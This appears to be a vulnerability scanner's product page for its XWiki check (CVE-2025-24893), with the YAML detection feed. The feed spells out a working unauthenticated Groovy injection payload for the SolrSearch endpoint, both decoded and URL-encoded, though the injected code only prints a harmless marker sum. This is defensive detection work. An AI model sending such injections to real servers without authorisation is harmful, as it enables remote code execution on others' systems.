XWiki — 1 vulnerability check
noctis ships 1 vulnerability check for XWiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
XWiki Platform Unauthenticated Groovy RCE via SolrSearch Macro
| CVE | CVE-2025-24893 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/xwiki/CVE-2025-24893.yaml |
Detects unauthenticated Groovy code execution in XWiki via the SolrSearch macro. An attacker injects a Groovy/Velocity expression into the text parameter of /bin/get/Main/SolrSearch, which is evaluated server-side and returns output in the RSS response (tried at the root and under the /xwiki context). The injected Groovy prints NOCTIS followed by the sum of two random numbers; finding that exact sum, computed by the server and never sent in the request, in the response confirms code execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7… - Parses / computes the next value with a Rhai script
- Checks
resp.bodyforNOCTIS[0-9]{7}→ finding QoD 97: XWiki SolrSearch Groovy println("NOCTIS"+(…+…)) returned the computed marker … in the RSS response at …:… - HTTP(S) request
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7… - Parses / computes the next value with a Rhai script
- Checks
resp_ctx.bodyforNOCTIS[0-9]{7}→ finding QoD 97: XWiki /xwiki/bin/get/Main/SolrSearch Groovy println("NOCTIS"+(…+…)) returned the computed marker … in the RSS response at …:…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-24893
- https://github.com/advisories/GHSA-rr6p-3pfg-562j
- https://github.com/gunzf0x/CVE-2025-24893
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml
Feed source — tests/vulnerabilities/xwiki/CVE-2025-24893.yaml
uid: 11906d7b-3902-48c6-8e96-ec3c14dbd19e
name: "XWiki Platform Unauthenticated Groovy RCE via SolrSearch Macro (CVE-2025-24893)"
description: |
Detects unauthenticated Groovy code execution in XWiki via the SolrSearch macro.
An attacker injects a Groovy/Velocity expression into the text parameter of
/bin/get/Main/SolrSearch, which is evaluated server-side and returns output
in the RSS response (tried at the root and under the /xwiki context). The injected Groovy prints NOCTIS followed by the sum of two
random numbers; finding that exact sum, computed by the server and never sent in
the request, in the response confirms code execution.
cves: [CVE-2025-24893]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [xwiki, groovy, rce, ssti, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-24893"
- "https://github.com/advisories/GHSA-rr6p-3pfg-562j"
- "https://github.com/gunzf0x/CVE-2025-24893"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml"
steps:
# Inject Groovy via the SolrSearch text parameter (root context first):
# }}}{{async async=false}}{{groovy}}println("NOCTIS"+(A+B)){{/groovy}}{{/async}}
# %7B%7B / %7D%7D are used instead of {{ / }} to avoid noctis template
# interpolation conflicts — reqwest passes them through unchanged. "+" in a
# query string is a space, so the Groovy plus signs are sent as %2B.
# Patched XWiki echoes the text parameter escaped in the feed title, which
# holds the operands but never their sum, so only an evaluated script matches.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
- id: init
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
- id: groovy-inject
action: http_request
method: GET
path: "/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22NOCTIS%22%2B%28{{p.a}}%2B{{p.b}}%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 15
store_as: resp
- id: check
action: script
store_as: hit
code: |
resp.status == 200 && type_of(resp.body) == "string" && stridx(resp.body, p.marker) >= 0
- id: rce-match
action: match
source: resp.body
pattern: "NOCTIS[0-9]{7}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "XWiki SolrSearch Groovy println(\"NOCTIS\"+({{p.a}}+{{p.b}})) returned the computed marker {{p.marker}} in the RSS response at {{target_host}}:{{port}}"
stop: true
# Standard installs serve XWiki under the /xwiki context: same probe there
# when the root path gave no proof.
- id: init-ctx
action: set_var
var_name: resp_ctx
var_value: {status: 0, body: ""}
- id: groovy-inject-ctx
action: http_request
method: GET
path: "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22NOCTIS%22%2B%28{{p.a}}%2B{{p.b}}%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 15
condition: "hit == false"
store_as: resp_ctx
- id: check-ctx
action: script
store_as: hit_ctx
code: |
resp_ctx.status == 200 && type_of(resp_ctx.body) == "string" && stridx(resp_ctx.body, p.marker) >= 0
- id: rce-match-ctx
action: match
source: resp_ctx.body
pattern: "NOCTIS[0-9]{7}"
condition: "hit_ctx == true"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "XWiki /xwiki/bin/get/Main/SolrSearch Groovy println(\"NOCTIS\"+({{p.a}}+{{p.b}})) returned the computed marker {{p.marker}} in the RSS response at {{target_host}}:{{port}}"
stop: true